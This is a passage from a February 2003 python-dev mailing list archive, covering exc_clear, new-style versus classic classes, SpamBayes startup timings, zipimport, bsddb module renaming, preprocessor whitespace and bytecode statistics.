of the Python development culture. > > > 4) Keep things as they are, and expect the Spanish Inquision. > > > > I'm even okay with the status quo and can continue to use my current > > hack to clear exception data. > > You can always clear it by raising and catching another exception. :-) This is what I do, though I have a nice 10 line comment in the source to ward off much squinting and head scratching from our junior developers. Thanks, -Kevin -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From atotic@osafoundation.org Tue Feb 25 16:55:45 2003 From: atotic@osafoundation.org (Aleksandar Totic) Date: Tue, 25 Feb 2003 08:55:45 -0800 Subject: [Python-Dev] Re: Writing a mutable object problem with __setattr__ References: <3E5B2FC8.6040803@totic.org> <200302251450.h1PEoD607130@odiug.zope.com> Message-ID: <3E5BA011.6030004@osafoundation.org> Guido van Rossum wrote: > Aleks Totic wrote: >>I am trying to create a mutable object for a persistent object >>database, and I've ran into a problem. The semantics are: >> >>Object gets created as a 'Swizzle'. Swizzle is a stub that >>intercepts any attempt to access object properties. When code >>tries to access any of swizzle's properties, the swizzle should >>automatically mutate into the stored object, by changing its >>class and properties. > > ..................................... > >>With the __set/get/del/attr__ traps this seemed feasible in >>Python. But it turns out to be trickier than I've thought, my >>naive implementation is not working. >> >>What happens is: >>swizzle.__getattr__() gets called >> calls swizzle.load() >> swizzle.__class__ = stored_class >> swizzle.__dict__ = stored_data >> calls getattr(self, attr_name) >> calls swizzle.__getattr__() gets called >> and I enter an infinite loop and blow the stack >> >> >>I've tried many different approaches: >>- Swizzle inheriting from object (so that I can call super >>methods directly). This one would not let me assign into the >>__class__ > > In Python 2.2.2 you can set __class__, as long as __class__ has a > compatible instance lay-out (at the C implementation level). This is the part where I am confused. How do I know if something is an old or new style object? Do new-style objects derive from built-in types (object/dict..) > With new-style objects, you can use __getattribute__ instead of > __getattr__ for more control (and also more opportunities to blow the > stack :-). > >................................. > >> def __setattr__(self, name, value): >> """ setattr passes class & dict because these are called >> when we are mutating the object """ >> print "swizzle setattr called" >> if (name == '__class__' or name == '__dict__' or name == >>'oid'): >> self.__dict__[name] = value >> return > > > Ah, here's the catch. You can't implement assignment to __dict__ or > __class__ by doing "self.__dict__[name] = value". > > Use new-style classes and you'll be much happier: you can invoke the > superclass __setattr__ to do the magic. I've tried this, but then I was unable to create any of the old-style classes. Is there any solution that would let me mutate an object into both? I suspect not. Then the question is: - is there a runtime/compiling python flag to force all objects into new-style layout? This will be the future, I think I've read somewhere. - how can I tell the difference between old and new programatically? Aleks From guido@python.org Tue Feb 25 17:18:09 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 12:18:09 -0500 Subject: [Python-Dev] Re: some preliminary timings In-Reply-To: Your message of "Tue, 25 Feb 2003 09:59:45 CST." <15963.37617.384031.567676@montanaro.dyndns.org> References: <15963.37617.384031.567676@montanaro.dyndns.org> Message-ID: <200302251718.h1PHIBe07657@odiug.zope.com> > Executive summary for python-dev folks seeing this for the first time: > > This thread started at > > http://mail.python.org/pipermail/spambayes/2003-February/003520.html > > Running in a single interpreter loop, I can score roughly 46 > messages per second. Running from the shell using hammiefilter.py > (which takes a msg on stdin and spits a scored message to stdout) > performance drops to roughly 2 messages per second. Neil > Schmenenauer noted all the failed open() calls during import > lookup, which got me started trying to whittle them down. > > Two more things to try before abandoning this quixotic adventure... > > It appears $prefix/python23.zip is left in sys.path even if it doesn't exist > (Just van Rossum explained to me in a bug report I filed that nonexistent > directories might actually be URLs or other weird hacks which import hooks > could make use of), so I went with the flow and created it, populating it > with the contents of $prefix/python2.3. My averate wallclock time went from > 0.5 seconds to 0.47 seconds and user+sys times went from 0.43 seconds to > 0.41 seconds. A modest improvement. > > One more little tweak. I moved the lib-dynload directory to the front of > sys.path (obviously only safe if nothing there appears earlier in sys.path). > Wall clock average stayed at 0.47 seconds and user+sys at 0.41 seconds, > though the total number of system calls as measured by ktrace went from 3454 > to 3042. > > Hammiefilter itself really does very little. Looking at the last > ktrace/kdump output, I see 3042 system calls. The hammie.db file isn't > opened until line 2717. All the rest before that is startup stuff, the > largest chunk of which are nami operations (731) and open (557) calls, most > of them involving nonexistent files (as evidenced by seeing only 164 calls > to close()). In contrast, only 278 system calls appear to be directly > related to manipulating the hammie database. > > This is still somewhat off-topic for this list (except for the fact that my > intention was to get hammiefilter to run faster), so I'll cc python-dev to > keep Tim happy, and perhaps mildly irritate Guido by discussing specific > apps on python-dev. Far from it, I wish spambayes well (and wish I could still be involved) :-). The issue seems to be that a moderately sized application takes a long time to start, right? How much of the user+sys time was user, how much was sys? Have you used python -v to see which modules it imports? Long ago I knew Hammie; I believe it reads a possibly large database. How much time does opening +closing the database take? (I presume that the 46 messages/second was not opening the database afresh for each message.) --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 25 17:21:19 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 12:21:19 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: Your message of "Tue, 25 Feb 2003 10:02:50 CST." <15963.37802.980727.597421@montanaro.dyndns.org> References: <15962.59663.914728.131796@montanaro.dyndns.org> <200302251458.h1PEwJU07213@odiug.zope.com> <15963.34805.782478.54250@montanaro.dyndns.org> <200302251526.h1PFQqH07446@odiug.zope.com> <15963.37802.980727.597421@montanaro.dyndns.org> Message-ID: <200302251721.h1PHLVE07682@odiug.zope.com> > >> This doesn't quite make sense to me. Instead of ".so cannot be > >> built" did you mean ".so cannot be imported"? > > Guido> No, I meant what I said. Once the file is found, it will be > Guido> tried and if that fails, the other files won't be tried. The > Guido> idea was that if the .so cannot be built, it won't be installed > Guido> -- but the .py will be there at all times. > > In which case there is no .so file to try to find, thus no "feature". I'm not sure if you're stil objecting. The feature is that .so wins over .py. I though I've explained clearly why this is a feature. If not, please ask a more detailed question. > >> In any case, the current solution to my underlying problem (so many > >> failing stat() calls during module import) appears to be to create > >> $prefix/python23.zip and populate it with the contents of the > >> standard library using zipfile.PyZipFile. > > Guido> Right, that's what zipimport is for. > > Any thought about having the installation process create and populate > python23.zip? It's not particularly hard. I'm willing to submit a patch > for the build/install process. python23.zip is good for end users of programs written in Python, but not so good for Python programmers: AFAIK it won't show source lines in tracebacks for modules loaded from the zip file. So it should be an option. That said, I think it is a desirable option. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 25 17:31:08 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 12:31:08 -0500 Subject: [Python-Dev] Re: Writing a mutable object problem with __setattr__ In-Reply-To: Your message of "Tue, 25 Feb 2003 08:55:45 PST." <3E5BA011.6030004@osafoundation.org> References: <3E5B2FC8.6040803@totic.org> <200302251450.h1PEoD607130@odiug.zope.com> <3E5BA011.6030004@osafoundation.org> Message-ID: <200302251731.h1PHVI407767@odiug.zope.com> > > In Python 2.2.2 you can set __class__, as long as __class__ has a > > compatible instance lay-out (at the C implementation level). > > This is the part where I am confused. How do I know if something > is an old or new style object? Do new-style objects derive from > built-in types (object/dict..) Yes. Please re-read http://www.python.org/2.2.2/descrintro.html > > Use new-style classes and you'll be much happier: you can invoke the > > superclass __setattr__ to do the magic. > > I've tried this, but then I was unable to create any of the > old-style classes. Is there any solution that would let me mutate > an object into both? I suspect not. Then the question is: No, you can never switch an object from classic to new-style. > - is there a runtime/compiling python flag to force all objects > into new-style layout? This will be the future, I think I've read > somewhere. Almost. You can add __metaclass__=type to the top of each module, and then classes without a base class will become new-style. Classes derived from other classes will still be whatever that other class is; and there's no way to force the whole standard library to use new-style classes (amongst many reasons, exceptions must be classic classes). > - how can I tell the difference between old and new programatically? type(C) == types.Classtype. Or check if the class has a __class__ attribute (classic classes don't). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Tue Feb 25 17:39:12 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 12:39:12 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Tue, 25 Feb 2003 11:05:14 EST." References: Message-ID: <200302251739.h1PHdD807869@odiug.zope.com> > I'm going with exc_clear(), since 'clearing' seems to be the verb > most people are using when talking about the action it performed. OK. > Implementation question: I'm planning to reuse the reset_exc_info function > defined statically in ceval.c. Which of these options do you prefer: > > 1) Just remove the static declaration from reset_exc_info and add the > prototype as an extern declaration to sysmodule.c. It has to be renamed to have a proper Py*** name too. > 2) Remove the static declaration from reset_exc_info and add the prototype > to an include file. If so, which include file is the most appropriate > place? ceval.h. > 3) Move the implementation of reset_exc_info out of ceval to another, more > public, file. If so, which one? I see no need. > I ask only because I usually submit bug fixes and minor changes, and am not > familar enough with this part of the Python development culture. Looks like you're catching on fast. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From nas@python.ca Tue Feb 25 17:47:46 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 25 Feb 2003 09:47:46 -0800 Subject: [Python-Dev] Re: [Spambayes] Re: some preliminary timings In-Reply-To: <15963.37617.384031.567676@montanaro.dyndns.org> References: <15963.37617.384031.567676@montanaro.dyndns.org> Message-ID: <20030225174745.GA15650@glacier.arctrix.com> Skip Montanaro wrote: > My averate wallclock time went from 0.5 seconds to 0.47 seconds and > user+sys times went from 0.43 seconds to 0.41 seconds. A modest > improvement. Of course imports are the only part of startup cost. Damn that Amdahl guy. :-) Neil From jeremy@zope.com Tue Feb 25 17:52:27 2003 From: jeremy@zope.com (Jeremy Hylton) Date: 25 Feb 2003 12:52:27 -0500 Subject: [Python-Dev] Re: Writing a mutable object problem with __setattr__ In-Reply-To: <200302251731.h1PHVI407767@odiug.zope.com> References: <3E5B2FC8.6040803@totic.org> <200302251450.h1PEoD607130@odiug.zope.com> <3E5BA011.6030004@osafoundation.org> <200302251731.h1PHVI407767@odiug.zope.com> Message-ID: <1046195546.4306.41.camel@slothrop.zope.com> On Tue, 2003-02-25 at 12:31, Guido van Rossum wrote: > > I've tried this, but then I was unable to create any of the > > old-style classes. Is there any solution that would let me mutate > > an object into both? I suspect not. Then the question is: > > No, you can never switch an object from classic to new-style. One possibility, which isn't quite the same thing, is to derive a new-style class from the classic class. You can write this with a class statement like so: import cgi class FormContent(cgi.FormContent, object): pass or you can generate one manually: type.__new__(type, "FormContent", (cgi.FormContent, object), {}) In either case, you will have a new-style class that inherits all of its behavior from the classic class. Jeremy From tismer@tismer.com Tue Feb 25 18:12:25 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 19:12:25 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <200302251739.h1PHdD807869@odiug.zope.com> References: <200302251739.h1PHdD807869@odiug.zope.com> Message-ID: <3E5BB209.3020302@tismer.com> Guido van Rossum wrote: > I'm going with exc_clear(), since 'clearing' seems to be the verb > most people are using when talking about the action it performed. I agree. clear is in fact better than reset, since there is no exception resetted to something, but it is cleared away. ... >>I ask only because I usually submit bug fixes and minor changes, and am not >>familar enough with this part of the Python development culture. Great, Kevin, that you are implementing this. I was already starting, but this is fine, if I can save some time. Will instead work a little on making GC optional, again, as promised a while ago. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From skip@pobox.com Tue Feb 25 18:08:48 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 12:08:48 -0600 Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c? Message-ID: <15963.45360.265070.874793@montanaro.dyndns.org> I think Modules/bsddbmodule.c needs to be moved to something like Modules/bsddb185.c or bsddb185module.c otherwise it won't get found by the import process. What's the best way to make that change in CVS? Skip From guido@python.org Tue Feb 25 18:18:15 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 13:18:15 -0500 Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c? In-Reply-To: Your message of "Tue, 25 Feb 2003 12:08:48 CST." <15963.45360.265070.874793@montanaro.dyndns.org> References: <15963.45360.265070.874793@montanaro.dyndns.org> Message-ID: <200302251818.h1PIIHE08063@odiug.zope.com> > I think Modules/bsddbmodule.c needs to be moved to something like > Modules/bsddb185.c or bsddb185module.c otherwise it won't get found by the > import process. What's the best way to make that change in CVS? You could simply copy the file -- I don't care enough about the history to want to bother the SF sysadmins. Or you could edit setup.py (and Modules/Setup.dist) to build the module "bsddb185" from the source file "bsddbmodule.c", and edit the source code to rename initbsddb() to initbsd185. --Guido van Rossum (home page: http://www.python.org/~guido/) From barry@python.org Tue Feb 25 18:34:39 2003 From: barry@python.org (Barry A. Warsaw) Date: Tue, 25 Feb 2003 13:34:39 -0500 Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c? References: <15963.45360.265070.874793@montanaro.dyndns.org> <200302251818.h1PIIHE08063@odiug.zope.com> Message-ID: <15963.46911.245954.368415@gargle.gargle.HOWL> >>>>> "GvR" == Guido van Rossum writes: GvR> Or you could edit setup.py (and Modules/Setup.dist) to build GvR> the module "bsddb185" from the source file "bsddbmodule.c", GvR> and edit the source code to rename initbsddb() to initbsd185. +1 -Barry From neale@woozle.org Tue Feb 25 18:40:16 2003 From: neale@woozle.org (Neale Pickett) Date: Tue, 25 Feb 2003 10:40:16 -0800 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: <200302251718.h1PHIBe07657@odiug.zope.com> (Guido van Rossum's message of "Tue, 25 Feb 2003 12:18:09 -0500") References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> Message-ID: Guido van Rossum writes: > The issue seems to be that a moderately sized application takes a long > time to start, right? How much of the user+sys time was user, how > much was sys? Have you used python -v to see which modules it > imports? > > Long ago I knew Hammie; I believe it reads a possibly large database. > How much time does opening +closing the database take? (I presume > that the 46 messages/second was not opening the database afresh for > each message.) Hammie's since been modified to use a Berkeley database (bsddb3), so there's very little penalty associated with the database at startup time AFAICT. The constant pickling and unpickling of objects may incur some penalty, but I don't think it would account for such a drastic slowdown. Experience (and Tim ;) has tought me not to trust intuition, though. I have very little experience performance tuning Python apps thus far, so I need to defer to someone else to devise an adequate test of the speed hit from pickling. Surely someone's considered using the profiler, right? Neale From guido@python.org Tue Feb 25 19:21:33 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 14:21:33 -0500 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: Your message of "Tue, 25 Feb 2003 10:40:16 PST." References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> Message-ID: <200302251921.h1PJLX108316@odiug.zope.com> > > Long ago I knew Hammie; I believe it reads a possibly large database. > > How much time does opening +closing the database take? (I presume > > that the 46 messages/second was not opening the database afresh for > > each message.) > > Hammie's since been modified to use a Berkeley database (bsddb3), so > there's very little penalty associated with the database at startup time > AFAICT. The constant pickling and unpickling of objects may incur some > penalty, but I don't think it would account for such a drastic slowdown. > > Experience (and Tim ;) has tought me not to trust intuition, though. I > have very little experience performance tuning Python apps thus far, so > I need to defer to someone else to devise an adequate test of the speed > hit from pickling. Surely someone's considered using the profiler, > right? Profiler, schmofiler. I use this to time specific operations: t0 = time.clock() t1 = time.clock() print t1-t0 On Unix, clock() measures CPU time. If real time is more important than CPU time, use time.time(). On Windows, clock() is a real time timer that's more precise than time(), so you should always use clock() there. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Tue Feb 25 20:02:38 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 14:02:38 -0600 Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c? In-Reply-To: <200302251818.h1PIIHE08063@odiug.zope.com> References: <15963.45360.265070.874793@montanaro.dyndns.org> <200302251818.h1PIIHE08063@odiug.zope.com> Message-ID: <15963.52190.117910.318633@montanaro.dyndns.org> Guido> Or you could edit setup.py (and Modules/Setup.dist) to build the Guido> module "bsddb185" from the source file "bsddbmodule.c", and edit Guido> the source code to rename initbsddb() to initbsd185. Ack... Thanks, that's already done. I must have muffed something before when I tried importing it. Skip From barry@python.org Tue Feb 25 20:12:30 2003 From: barry@python.org (Barry A. Warsaw) Date: Tue, 25 Feb 2003 15:12:30 -0500 Subject: [Python-Dev] Scheduled downtime for mail.python.org Message-ID: <15963.52782.321941.639585@gargle.gargle.HOWL> Baymountain, our host for mail.python.org (and mail.zope.org), will be performing some short duration maintenance on the machine on Wednesday 26-Feb-2003 at 10pm EST. Expected downtime is about 10 minutes. -Barry From bbum@codefab.com Tue Feb 25 20:18:51 2003 From: bbum@codefab.com (Bill Bumgarner) Date: Tue, 25 Feb 2003 15:18:51 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <20030225200409.29566.27729.Mailman@mail.python.org> Message-ID: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com> On Tuesday, Feb 25, 2003, at 15:04 US/Eastern, python-dev-request@python.org wrote: > python23.zip is good for end users of programs written in Python, but > not so good for Python programmers: AFAIK it won't show source lines > in tracebacks for modules loaded from the zip file. Speaking entirely from a point of ignorance, why are the source line #s not shown for frames that are implemented in modules loaded from zipimport? Assuming the ZIP archive could be exactly identical to what one might find in /usr/lib/python2.3/, the zip could contain all the py + pyc as found in the normal library? As such, it would be trivial for the developer to unzip the zip into-- for example-- /tmp/ for reference purposes. Assuming the developer has a copy of the 2.3 source lying around and has the zip with just the PYC, the lines numbers are still very useful. All things considered, I would think it would be highly desirable for the developer's Python development environment to be as much like a stock deployment environment as possible. Java made a grave mistake in this regard -- the whole class loader mechanism can cause massive problems-- very annoying and hard to debug problems-- when moving code from a development environment into deployment if the class loader that loads a particular class changes between the two environments. b.bum From just@letterror.com Tue Feb 25 20:32:49 2003 From: just@letterror.com (Just van Rossum) Date: Tue, 25 Feb 2003 21:32:49 +0100 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com> Message-ID: Bill Bumgarner wrote: > On Tuesday, Feb 25, 2003, at 15:04 US/Eastern, > python-dev-request@python.org wrote: > > python23.zip is good for end users of programs written in Python, > > but not so good for Python programmers: AFAIK it won't show source > > lines in tracebacks for modules loaded from the zip file. > > Speaking entirely from a point of ignorance, why are the source line > #s not shown for frames that are implemented in modules loaded from > zipimport? Line *numbers* will be shown, the lines themselves won't. > Assuming the ZIP archive could be exactly identical to what one might > find in /usr/lib/python2.3/, the zip could contain all the py + pyc as > found in the normal library? Yes, but currently the traceback logic that shows the offending line (the line itself, not the line number) depends on the source being in the actual file system. While this _could_ be fixed for zipimport, it's not entirely trivial. You should be able to find looong discussions about this topic in the python-dev archives... Also check PEP 302. Just From guido@python.org Tue Feb 25 20:42:45 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 15:42:45 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: Your message of "Tue, 25 Feb 2003 15:18:51 EST." <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com> References: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com> Message-ID: <200302252042.h1PKgjZ08619@odiug.zope.com> > Speaking entirely from a point of ignorance, why are the source line #s > not shown for frames that are implemented in modules loaded from > zipimport? Because the code printing the tracebacks doesn't know how to look inside a zip file. --Guido van Rossum (home page: http://www.python.org/~guido/) From bbum@codefab.com Tue Feb 25 20:49:05 2003 From: bbum@codefab.com (Bill Bumgarner) Date: Tue, 25 Feb 2003 15:49:05 -0500 Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: Message-ID: <9441C8F6-4902-11D7-9C8C-000393877AE4@codefab.com> On Tuesday, Feb 25, 2003, at 15:32 US/Eastern, Just van Rossum wrote: > Line *numbers* will be shown, the lines themselves won't. Oh, never mind. That's perfectly fine -- as long as the information is there, a cmd-l ### sequence is a small cost until one of us takes the time to figure out how to display the actual line from a zip... ... or maybe the answer is to look on the path and see if there is a corresponding source file somewhere? Obviously, this just went beyond python 2.3 discussion. b.bum From neal@metaslash.com Tue Feb 25 21:16:46 2003 From: neal@metaslash.com (Neal Norwitz) Date: Tue, 25 Feb 2003 16:16:46 -0500 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: References: <20030224025127.GA10536@glacier.arctrix.com> Message-ID: <20030225211646.GQ2041@epoch.metaslash.com> On Sun, Feb 23, 2003 at 10:29:59PM -0500, Tim Peters wrote: > [from a checkin comment] > > Need to make sure that preprocessor directives start in first column. > > This means we can't indent code which has preprocessor directives, > > nor have a space between [ #include for example. > > [Neil Schemenauer] > > What does the C standard say about this? I'm curious. > > Spaces and horizontal tabs are fine before '#', and between '#' and the > directive name; other kinds of whitespace are not OK in directive lines (and > directive lines are special this way); sounds like we're catering to a > broken compiler here. I always thought you could have whitespace between the '#' and the directive name, but not before the '#'. According to everything I read, you can have spaces before the '#', tabs are less clear. I didn't find any info about which standard they are referring to. I've found some different answers: http://www.opus1.com/vmsdoc/progtool/cpqc64/5492p033.htm states: The ANSI C Standard removes the VAX C restriction that requires the # character introducing a preprocessor directive to always appear in column 1 of the source line. In Compaq C, white space and comments can now precede the # on the same line. This: http://nimbus.pa.uky.edu/cfromfortran/preprocessor.htm states: All preprocessor directives begin with # as the very first non-space character. This is important - the first non-space character must be #, tabs will work with some implementations, but are not ANSI-compliant and will fail with others. Spaces can appear before the # in ANSI C. Neal From dave@boost-consulting.com Tue Feb 25 21:17:02 2003 From: dave@boost-consulting.com (David Abrahams) Date: Tue, 25 Feb 2003 16:17:02 -0500 Subject: [Python-Dev] GIL Pep commentary Message-ID: Hi, I just started looking over the GIL pep http://www.python.org/peps/pep-0311.html. Looks pretty nice to me so far! I have these remarks: "This API will not perform automatic initialization of Python, or initialize Python for multi-threaded operation. Extension authors must continue to call Py_Initialize(), and for multi-threaded applications, PyEval_InitThreads()." This is liable to confuse people (like me) who have never had to do Py_Initialize or PyEval_InitThreads in their extension modules. "It is intended that this API be all that is necessary to acquire the Python GIL. Apart from the existing, standard Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is assumed that no additional thread state API functions will be used by the extension. Extensions with such complicated requirements are free to continue to use the existing thread state API." This sounds like it's saying you can't use any of the old thread API functions if you use the new ones. Is that right? If so, I think it should be made more explicit. Seems a bit draconian, though I admit I don't know what other thread API functions people might want. Good job, Mark! -- Dave Abrahams Boost Consulting www.boost-consulting.com From jacobs@penguin.theopalgroup.com Tue Feb 25 21:24:35 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Tue, 25 Feb 2003 16:24:35 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5BB209.3020302@tismer.com> Message-ID: On Tue, 25 Feb 2003, Christian Tismer wrote: > Guido van Rossum wrote: > > I'm going with exc_clear(), since 'clearing' seems to be the verb > > most people are using when talking about the action it performed. > > I agree. clear is in fact better than reset, since there > is no exception resetted to something, but it is cleared > away. > > >>I ask only because I usually submit bug fixes and minor changes, and am not > >>familar enough with this part of the Python development culture. > > Great, Kevin, that you are implementing this. I was already > starting, but this is fine, if I can save some time. I've uploaded a patch to SF: http://www.python.org/sf/693195 It turns out that ceval.c:reset_exc_info was a red herring and did not do what we wanted. Luckily, the correct behavior is fairly trivial (although the interaction between set_exc_info and reset_exc_info had me seeing cross-eyed for a few minutes). -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From skip@pobox.com Tue Feb 25 21:31:49 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 15:31:49 -0600 Subject: [Python-Dev] Re: some preliminary timings In-Reply-To: <200302251718.h1PHIBe07657@odiug.zope.com> References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> Message-ID: <15963.57541.244513.169979@montanaro.dyndns.org> Guido> The issue seems to be that a moderately sized application takes a Guido> long time to start, right? How much of the user+sys time was Guido> user, how much was sys? Have you used python -v to see which Guido> modules it imports? Actually, hammmiefilter is a rather small application, so it seems its runtime is completely dominated by startup costs. It reads a single message on stdin, scores it and writes it out with one or two new headers on stdout. (Perhaps the architecture is just wrong and we should be shipping it off to a long-running process for scoring.) About one-third of user+sys is sys time. Guido> Long ago I knew Hammie; I believe it reads a possibly large Guido> database. How much time does opening +closing the database take? Guido> (I presume that the 46 messages/second was not opening the Guido> database afresh for each message.) The database is now a bsddb hash file. It's no longer a pickle. As I indicated, relatively few system calls (slightly less than 10% of the total) seem to be involved in opening and probing the database. It's probably somewhat invalid to equate number of system calls with application runtime. I redumped my last ktrace file just now with timestamps. Here are some computed intervals: interval time -------- ---- start -> open hammiefilter.pyc 0.071 open hammiefilter.pyc -> open hammie.db 0.516 open hammie.db -> close hammie.db 0.084 close hammie.db -> program end 0.011 The first interval is pure system startup - load interpreter executable, link in shared libraries, etc. The second interval is application startup - import modules, execute module-level code, etc. The third interval is where the application actually does useful work. The last interval is application shutdown. While application startup is not exclusively importing modules, from the looks of things it's a fair chunk. Skip From Jack.Jansen@oratrix.com Tue Feb 25 21:49:41 2003 From: Jack.Jansen@oratrix.com (Jack Jansen) Date: Tue, 25 Feb 2003 22:49:41 +0100 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: <20030225211646.GQ2041@epoch.metaslash.com> Message-ID: <0B4338DB-490B-11D7-AB02-000A27B19B96@oratrix.com> On dinsdag, feb 25, 2003, at 22:16 Europe/Amsterdam, Neal Norwitz wrote: > On Sun, Feb 23, 2003 at 10:29:59PM -0500, Tim Peters wrote: >> [from a checkin comment] >>> Need to make sure that preprocessor directives start in first column. >>> This means we can't indent code which has preprocessor directives, >>> nor have a space between [ #include for example. >> >> [Neil Schemenauer] >>> What does the C standard say about this? I'm curious. >> >> Spaces and horizontal tabs are fine before '#', and between '#' and >> the >> directive name; other kinds of whitespace are not OK in directive >> lines (and >> directive lines are special this way); sounds like we're catering to a >> broken compiler here. Before ANSI C said it is okay to have whitespace before the # most compilers would require the # to be in column one. And I've seen quite a couple of sources that had something like #if __STDC__ #pragma or other ansi construct #endif -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From popiel@wolfskeep.com Tue Feb 25 22:10:42 2003 From: popiel@wolfskeep.com (T. Alexander Popiel) Date: Tue, 25 Feb 2003 14:10:42 -0800 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: Message from Skip Montanaro of "Tue, 25 Feb 2003 15:31:49 CST." <15963.57541.244513.169979@montanaro.dyndns.org> References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> <15963.57541.244513.169979@montanaro.dyndns.org> Message-ID: <20030225221042.D1D932DDC2@cashew.wolfskeep.com> In message: <15963.57541.244513.169979@montanaro.dyndns.org> Skip Montanaro writes: > >It's probably somewhat invalid to equate number of system calls with >application runtime. I redumped my last ktrace file just now with >timestamps. Here are some computed intervals: > > interval time > -------- ---- > start -> open hammiefilter.pyc 0.071 > open hammiefilter.pyc -> open hammie.db 0.516 > open hammie.db -> close hammie.db 0.084 > close hammie.db -> program end 0.011 This is good info. Can you add in the time intervals between loading each of the modules? That might point out which modules are actually expensive (or if it's none in particular). - Alex From skip@pobox.com Tue Feb 25 22:19:46 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 16:19:46 -0600 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: <20030225221042.D1D932DDC2@cashew.wolfskeep.com> References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> <15963.57541.244513.169979@montanaro.dyndns.org> <20030225221042.D1D932DDC2@cashew.wolfskeep.com> Message-ID: <15963.60418.896367.294833@montanaro.dyndns.org> >> interval time >> -------- ---- >> start -> open hammiefilter.pyc 0.071 >> open hammiefilter.pyc -> open hammie.db 0.516 >> open hammie.db -> close hammie.db 0.084 >> close hammie.db -> program end 0.011 Alex> This is good info. Can you add in the time intervals between Alex> loading each of the modules? That might point out which modules Alex> are actually expensive (or if it's none in particular). That would be a bit tedious to do manually for the dozens of modules which are loaded. I'll see what I can come up with though. Skip From damien.morton@acm.org Tue Feb 25 22:19:30 2003 From: damien.morton@acm.org (Damien Morton) Date: Tue, 25 Feb 2003 17:19:30 -0500 Subject: [Python-Dev] Bytecode analysis Message-ID: <003101c2dd1c$04214ff0$6401a8c0@damien> Ive done a static analysis of the bytecodes from compiling the python standard library: Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Some stats about JUMP_IF_FALSE opcodes Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on both branches. Id like to propose that JUMP_IF_FALSE consume the top-of-stack. Some stats about constants 50% of constant accesses are to a fixed set of 5 constants http://www.bitfurnace.com/python/stats-consts.txt rank, freq, cum%, const 1, 1277, 18.7, None 2, 929, 32.3, 1 3, 741, 43.1, 0 4, 254, 46.8, '' 5, 228, 50.1, 2 Id like to propose the following opcodes be added LOAD_CONST(NONE) LOAD_CONST(1) LOAD_CONST(0) 